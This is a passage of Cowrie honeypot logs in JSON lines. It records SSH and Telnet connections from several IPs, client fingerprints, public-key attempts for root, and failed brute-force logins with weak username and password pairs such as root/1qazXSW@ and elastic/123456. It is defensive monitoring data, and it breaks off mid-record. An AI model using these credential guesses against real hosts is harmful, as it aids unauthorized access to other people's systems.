{"eventid":"cowrie.session.closed","duration":25.58592462539673,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:28.978071Z","src_ip":"152.42.224.71","session":"bf0e32565237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00555324554443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:32.752996Z","src_ip":"152.42.224.71","session":"524140997d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00205993652344,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:33.053594Z","src_ip":"152.42.224.71","session":"f3b6a8d3c4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35670,"dst_ip":"10.17.0.5","dst_port":23,"session":"2523a5d50821","protocol":"telnet","message":"New connection: 152.42.224.71:35670 (10.17.0.5:23) [session: 2523a5d50821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:35.936643Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39000,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f48452ed32e","protocol":"ssh","message":"New connection: 31.40.204.166:39000 (159.203.135.109:22) [session: 5f48452ed32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:37.682408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:37.687057Z","src_ip":"31.40.204.166","session":"5f48452ed32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:37.812047Z","src_ip":"31.40.204.166","session":"5f48452ed32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:38.482548Z","src_ip":"31.40.204.166","session":"5f48452ed32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:39.608887Z","src_ip":"31.40.204.166","session":"5f48452ed32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.15382242202759,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:40.543925Z","src_ip":"152.42.224.71","session":"2534359b8000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35682,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fae4778e839","protocol":"telnet","message":"New connection: 152.42.224.71:35682 (10.17.0.5:23) [session: 0fae4778e839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:41.896441Z"}
{"eventid":"cowrie.session.closed","duration":39.28329682350159,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:45.318264Z","src_ip":"152.42.224.71","session":"7bc7b5cd9e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41434,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad9108d250f","protocol":"ssh","message":"New connection: 31.40.204.166:41434 (159.203.135.109:22) [session: 4ad9108d250f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:49.418587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:49.426278Z","src_ip":"31.40.204.166","session":"4ad9108d250f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:49.605762Z","src_ip":"31.40.204.166","session":"4ad9108d250f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:50.100890Z","src_ip":"31.40.204.166","session":"4ad9108d250f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:51.410901Z","src_ip":"31.40.204.166","session":"4ad9108d250f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37644,"dst_ip":"10.17.0.5","dst_port":23,"session":"1afa55b4010a","protocol":"telnet","message":"New connection: 152.42.224.71:37644 (10.17.0.5:23) [session: 1afa55b4010a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:52.626032Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43678,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d124f68b937","protocol":"ssh","message":"New connection: 103.149.28.157:43678 (159.203.135.109:22) [session: 4d124f68b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:54.487072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:54.492541Z","src_ip":"103.149.28.157","session":"4d124f68b937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:54.738091Z","src_ip":"103.149.28.157","session":"4d124f68b937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.1649694442749,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:55.383509Z","src_ip":"152.42.224.71","session":"fcec03d20d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.749449014663696,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:55.431239Z","src_ip":"152.42.224.71","session":"fa49b7a02a2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123123","message":"login attempt [root/123123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:55.478709Z","src_ip":"103.149.28.157","session":"4d124f68b937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:56.729317Z","src_ip":"103.149.28.157","session":"4d124f68b937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.821529150009155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:59.707527Z","src_ip":"152.42.224.71","session":"8e9773cdaa5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33672,"dst_ip":"10.17.0.5","dst_port":23,"session":"957cc88e725d","protocol":"telnet","message":"New connection: 152.42.224.71:33672 (10.17.0.5:23) [session: 957cc88e725d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:24:59.717035Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35934,"dst_ip":"159.203.135.109","dst_port":22,"session":"d523a758abd8","protocol":"ssh","message":"New connection: 31.40.204.166:35934 (159.203.135.109:22) [session: d523a758abd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:01.813858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:01.893995Z","src_ip":"31.40.204.166","session":"d523a758abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.311903476715088,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.028826Z","src_ip":"152.42.224.71","session":"957cc88e725d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.082736Z","src_ip":"31.40.204.166","session":"d523a758abd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.685585Z","src_ip":"31.40.204.166","session":"d523a758abd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.199.83","src_port":56652,"dst_ip":"10.17.0.5","dst_port":22,"session":"064f42197ee8","protocol":"ssh","message":"New connection: 62.210.199.83:56652 (10.17.0.5:22) [session: 064f42197ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.790610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.801537Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:02.886614Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:8d:e2:39:90:21:ac:5b:48:b8:2f:dd:4b:cf:14:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnBrR89FgJlkyJ8LlxDfC/5BceNrLgoCoAqACy+IGMX3X7N2WfoBjzVIxZ1np5Cctrv4AEtOAzwHZaJIwJNKQzq5sRFLnk8w4UOMxcKFYU4EDQEV9wSyzQYDdkgJpDbRYDpk8RWep94iWGd9roFV9OfHpPKCXfa0l2oGFv/pznudXVYOQk7LB0s99SKU+2+AUrMlzwFEjP6NoH5zjYtylua2C2LcN7M728HCY1b4h3jZY9RUsym37boL5AgllfL2QJwxDqN4RUfovaty4/ZQTza4k2Ci7xnBsP7bPyQF1rpEOF3jVUvgyXWjlrSXmHpPn39qSHxSfg9RqPWFfcFFf3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:8d:e2:39:90:21:ac:5b:48:b8:2f:dd:4b:cf:14:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.281580Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:8d:e2:39:90:21:ac:5b:48:b8:2f:dd:4b:cf:14:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnBrR89FgJlkyJ8LlxDfC/5BceNrLgoCoAqACy+IGMX3X7N2WfoBjzVIxZ1np5Cctrv4AEtOAzwHZaJIwJNKQzq5sRFLnk8w4UOMxcKFYU4EDQEV9wSyzQYDdkgJpDbRYDpk8RWep94iWGd9roFV9OfHpPKCXfa0l2oGFv/pznudXVYOQk7LB0s99SKU+2+AUrMlzwFEjP6NoH5zjYtylua2C2LcN7M728HCY1b4h3jZY9RUsym37boL5AgllfL2QJwxDqN4RUfovaty4/ZQTza4k2Ci7xnBsP7bPyQF1rpEOF3jVUvgyXWjlrSXmHpPn39qSHxSfg9RqPWFfcFFf3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.285905Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:b5:be:ce:a4:b7:0a:8c:86:d4:17:9e:d4:29:5c:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9i/2U05n6Uiq7utHBG/CKB3vHNMmfa/cmn0YiXypItnX+kdD+xqTTq41Vuz0x0JT3vQdXafXYtF1WNdKp9DhPRCLIk/X1S6pADKLsHGp/HkDtNkF+W3Ct41rXgIBNVCecH0R7yhFOkLpCldyfV9o4rf7jjhcyRe0/b/KXEByjeMWanusD49hlberrOBJrblAE+Wpf9O/A2kO+A+STEr7zu3q+KOcUAJmIaw4hsixYCEeNtq87mn4tXyMVPK17atZGcSJBfau7+jbEppO8fKQKSoucyYcQyJ8HotUxII1xBfVQnfaybS38NT9FPFLvMyFj6k2Gfx68AhBRtNTNZxOf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:b5:be:ce:a4:b7:0a:8c:86:d4:17:9e:d4:29:5c:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.371464Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:b5:be:ce:a4:b7:0a:8c:86:d4:17:9e:d4:29:5c:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9i/2U05n6Uiq7utHBG/CKB3vHNMmfa/cmn0YiXypItnX+kdD+xqTTq41Vuz0x0JT3vQdXafXYtF1WNdKp9DhPRCLIk/X1S6pADKLsHGp/HkDtNkF+W3Ct41rXgIBNVCecH0R7yhFOkLpCldyfV9o4rf7jjhcyRe0/b/KXEByjeMWanusD49hlberrOBJrblAE+Wpf9O/A2kO+A+STEr7zu3q+KOcUAJmIaw4hsixYCEeNtq87mn4tXyMVPK17atZGcSJBfau7+jbEppO8fKQKSoucyYcQyJ8HotUxII1xBfVQnfaybS38NT9FPFLvMyFj6k2Gfx68AhBRtNTNZxOf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.375513Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:80:4c:4f:65:7c:9c:07:00:00:42:ac:91:ab:9b:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCBb0K7W2Q+ycIh3/S+pHeGb5BKeMA1UmvOgdcju9WhfLbsjP6UUSoL433xr8V647yMLDeyAx46BZkn8ZmwnINOLDK/gF+G1+Vpn17YI0IiZRy4nVjKYzYGPQFRhR8xQ8AOC9Zk4tPqeE1/Og/dGJvk+GTx3iUYNogBf6JTLZ8PPRygHQ20L7b5wwirHvWdhWMa4JIEw5cJSf0enRlgRfw8aP8mqEJpx603wbfDgFTYHV1r4HvFBG1dstFulDYB//lbzbis0PIgHJ792dG7WJfQJTHHyaW6wNEzuYuKO+NyQj4evtR5FuiZ3GEj0p2q4mPzzzRz1xn/TVPdIy9ul9G6kb1DIwVAPuFdpQc9xUsIuAb8Buwk7DMZumKr4rXRS2zB5zl20OX0KnoRROtCWbbq6Y1MZrFNPvd5tngy17mpRUNQZGw45ZT9+/ARH6wXm6byiGjZdy1n+rZ9zgPE1jDhb0BVZ6pal2AFSNJ8HXYBTtvfM02LSDdCrHUnqvd9IqEzanGgon0kYIF9PImE1MMWEwdy3JzHDpUg/lHfbWAxU3FmMrS7vjb6xRrMpGRdI5X+7Elg2NogcJQ31Xt3Hn5o4iG6SGxb+IKmg+KhRgnj6InDOz6gmVc2OfRNDWrBY9Vmrez8dCGzZ3q8nm+a3SfTsD1zGZ9Fj8jVhX+eyXJ9qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:80:4c:4f:65:7c:9c:07:00:00:42:ac:91:ab:9b:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:25:03.460514Z","src_ip":"62.210.199.83","session":"064f42197ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:80:4c:4f:65:7c:9c:07:00:00:42:ac:91:ab:9b:27","key":"ssh-rsa 